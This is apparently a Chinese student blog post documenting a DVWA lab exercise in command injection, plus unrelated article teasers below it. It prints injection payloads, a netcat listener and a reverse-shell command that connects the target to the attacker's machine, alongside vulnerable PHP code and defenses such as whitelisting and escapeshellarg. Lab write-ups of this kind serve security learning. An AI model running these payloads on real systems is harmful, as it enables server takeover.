news 2026/7/7 1:28:19

DVWA命令注入漏洞检测与利用实战一课一得

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA命令注入漏洞检测与利用实战一课一得

CSDN博文:DVWA命令注入漏洞检测与利用实战一课一得

一、文章前言

本次Web安全实训我完成了DVWA平台命令执行漏洞的检测与渗透实验,完整复现从漏洞发现、命令拼接探测到反向Shell拿下服务器权限的全过程。过去只在课本上听过命令注入的概念,本次实操让我直观理解漏洞成因、攻击思路与防御方案,记录完整实操流程与学习感悟,方便后续复盘回顾。

二、实验环境介绍

环境拓扑

1. 靶机:DVWA漏洞平台,IP 192.168.56.11 ,底层为Ubuntu系统,使用PHP system() 函数拼接用户输入执行ping命令
2. 攻击机:Kali Linux,IP 192.168.56.10 ,预装Netcat工具用于监听反弹Shell

实验页面地址

DVWA命令执行模块: http://192.168.56.11/dvwa/vulnerabilities/exec/
页面功能:提供Ping检测输入框,用户输入IP后后端直接拼接执行系统ping指令。
DVWA命令执行初始页面

三、完整实操步骤

步骤1:基础Ping功能测试,判断风险点

在输入框填写攻击机IP 192.168.56.10 提交,页面直接输出ping命令返回的数据包延迟、丢包率信息,证明后端直接调用系统命令处理用户输入,存在命令注入风险。

plaintext

PING 192.168.56.10 (192.168.56.10) 56(84) bytes of data.
64 bytes from 192.168.56.10: icmp_seq=1 ttl=64 time=0.894 ms
--- 192.168.56.10 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss


步骤2:分号拼接探测,确认命令注入漏洞

Linux Shell中分号 ; 是命令分隔符,可连续执行多条指令。我输入payload: 192.168.56.10; uname -a
提交后页面先输出ping结果,末尾打印靶机系统内核信息,证实漏洞存在,攻击者可追加任意系统命令。

plaintext

Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686 GNU/Linux


步骤3:纯命令注入测试

尝试仅提交 ;uname -a ,uname -a`,页面直接返回系统版本,说明输入无过滤、无转义,后端未对用户输入做安全校验,漏洞利用门槛极低。

步骤4:探测靶机Netcat工具版本

反弹Shell依赖Netcat,输入 ls /bin/nc* 查询服务器nc文件,返回结果:

plaintext

/bin/nc
/bin/nc.openbsd
/bin/nc.traditional


其中 nc.traditional 支持 -e 参数绑定交互式Shell,是反弹Shell所需版本。

步骤5:Kali开启监听端口

在Kali终端执行监听命令,等待靶机主动建立连接:

bash

nc -lvp 1691


- -l :开启监听模式
- -v :打印详细连接日志
- -p 1691 :指定监听端口1691

步骤6:构造Payload获取反向Shell

页面输入反弹命令:

plaintext

nc.traditional -e /bin/bash 192.168.56.10 1691 &


& 作用:后台运行反弹命令,防止PHP脚本阻塞超时。
提交后Kali终端收到靶机连接,成功获取交互式服务器Shell,可执行 ifconfig 、 ls 等任意指令查看服务器文件、网卡信息。
Kali反弹Shell成功截图

四、漏洞底层原理分析

1. 漏洞根源:不安全PHP函数拼接用户输入

查看DVWA源码,核心危险代码如下:

php

$target = $_REQUEST['ip'];
$cmd = 'ping -c 3 ' . $target;
echo shell_exec($cmd);


程序直接将前端用户可控的 ip 参数拼接入系统命令,未做过滤、转义、白名单限制,攻击者插入 ; 、 | 等分隔符即可追加自定义命令。

2. 命令分隔符攻击逻辑

Linux Shell识别多种命令拼接符号:

- ; :顺序执行前后两条命令
- | :管道符,前命令输出作为后命令输入
- && :前命令执行成功才执行后命令
开发者未过滤特殊符号,是漏洞爆发的核心诱因。

3. Netcat反弹Shell原理

nc.traditional -e /bin/bash 会将靶机bash终端绑定到网络连接,主动连接攻击机1691端口,攻击机监听端直接拿到服务器操作权限,属于高危渗透手段。

五、Web后端防御方案总结

结合本次实验,梳理命令注入四类有效防御手段:

1. 输入白名单校验
限制输入仅允许数字、点号(合法IP格式),拒绝分号、管道符、&等特殊字符,非法输入直接拦截。
2. 禁用危险系统函数
项目中避免使用 system() 、 shell_exec() 、 exec() 等直接调用系统终端的函数,改用PHP内置网络库实现Ping检测,不调用系统命令。
3. 特殊字符转义过滤
若必须调用系统命令,使用 escapeshellarg() 、 escapeshellcmd() 对用户输入转义,特殊符号被当作普通文本,丧失命令分隔功能。
4. 服务器最小权限原则
Web运行账户仅分配文件读取基础权限,禁止root权限运行网站,即便漏洞被利用,攻击者也无法修改系统核心文件。
5. 日志监控审计
记录所有外部输入与系统命令执行日志,定期扫描异常命令(如nc、bash反弹指令),及时发现入侵行为。

六、实训学习心得

本次DVWA命令注入实操彻底打破我纸上谈兵的学习模式,从前只知道“输入特殊符号能执行额外命令”,亲手完成从漏洞探测到拿下服务器反向Shell的完整流程后,我理清了攻击链路完整逻辑。

第一,安全漏洞危害远超想象。仅一个未过滤的输入框,就能让攻击者完整控制服务器,读取、篡改网站全部文件,企业线上系统若存在同类漏洞,会直接造成数据泄露、业务瘫痪,也让我意识到Web开发中安全校验是不可省略的刚需步骤。

第二,输入过滤不能心存侥幸。很多开发会简单过滤 ; ,但忽略 | 、 && 等其他分隔符,防御必须采用白名单思维,只放行合法内容,而非黑名单拦截危险字符,否则极易被攻击者绕过。

第三,攻防思维双向提升。站在渗透者角度学会寻找可控输入点、构造Payload;站在开发者角度掌握对应的修复手段,攻防结合才能真正理解Web安全防护逻辑。后续我会继续练习SQL注入、XSS等漏洞复现,把每一个漏洞的原理、利用、防御完整梳理记录,持续积累安全实战经验。

七、文章结语

命令注入是Web安全高频高危漏洞,本次DVWA实训让我建立完整的漏洞检测与防御认知。代码安全无小事,任何直接拼接用户输入执行系统命令的写法都存在致命风险,今后编写程序时会优先考虑输入安全校验,从源头规避同类漏洞。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 1:27:48

PCIe-2.2.4 Routing and Addressing Rules(address ID)

2.2.4.1核心设计要点总结(面向RTL架构师) 地址路由only用于 : mem、IO、message(指定时) 设计关注点 关键规则 硬件实现要点 地址提取 根据Fmt决定从3DW还是4DW头提取地址。 使用MUX选择不同的字节拼接路径(表2-7)。 地址范围判断 4GB以下必须用32位格式(发送端)。 发送…

作者头像 李华
网站建设 2026/7/7 1:25:43

嵌入式安全三要素:认证、完整性与保密性

很多工程师把“安全”等同于“加密”,但在嵌入式系统中,安全的优先级通常是: 身份认证;数据完整性;数据保密性。 也就是说,设备首先要确认: 对方是否可信; 数据是否被改过&#x…

作者头像 李华
网站建设 2026/7/7 1:25:22

解决ValueError: too many values to unpack (expected 2)

报错:ValueError: too many values to unpack (expected 2)复现RGCL模型,遇到的问题,该代码里面报错原因是: collate_fn 里的 tokens 是多层嵌套列表(每个样本是分词后的 token 列表,batch 打包后变成 [[to…

作者头像 李华
网站建设 2026/7/7 1:23:56

毕设项目 深度学习火焰检测识别(源码+论文)

文章目录 0 前言1 项目运行效果1 基于YOLO的火焰检测与识别2 课题背景3 卷积神经网络3.1 卷积层3.2 池化层3.3 激活函数:3.4 全连接层3.5 使用tensorflow中keras模块实现卷积神经网络 4 YOLOV54.1 网络架构图4.2 输入端4.3 基准网络4.4 Neck网络4.5 Head输出层 5 数…

作者头像 李华
网站建设 2026/7/7 1:23:47

企业知识库实战:从 0 到 1 落地全记录

企业知识库实战:从 0 到 1 落地全记录最后一篇实战,把前面 9 篇的知识全部串起来。从需求分析、架构设计、文档处理、检索优化到上线运维,完整讲一遍企业知识库 RAG 系统是怎么从 0 到 1 落地的,踩过哪些坑、每一步优化了多少。大…

作者头像 李华
网站建设 2026/7/7 1:21:33

内外联动精细化运营:解锁安卓APP推广降本增效新路径

当下移动互联网流量红利逐步消退,安卓APP行业告别了粗放式上架流量时代。华为、小米、OPPO、vivo、应用宝等主流安卓应用商店格局固化,叠加各大平台信息流广告竞争白热化,获客成本持续攀升。在此背景下,精细化、低成本、高转化成为…

作者头像 李华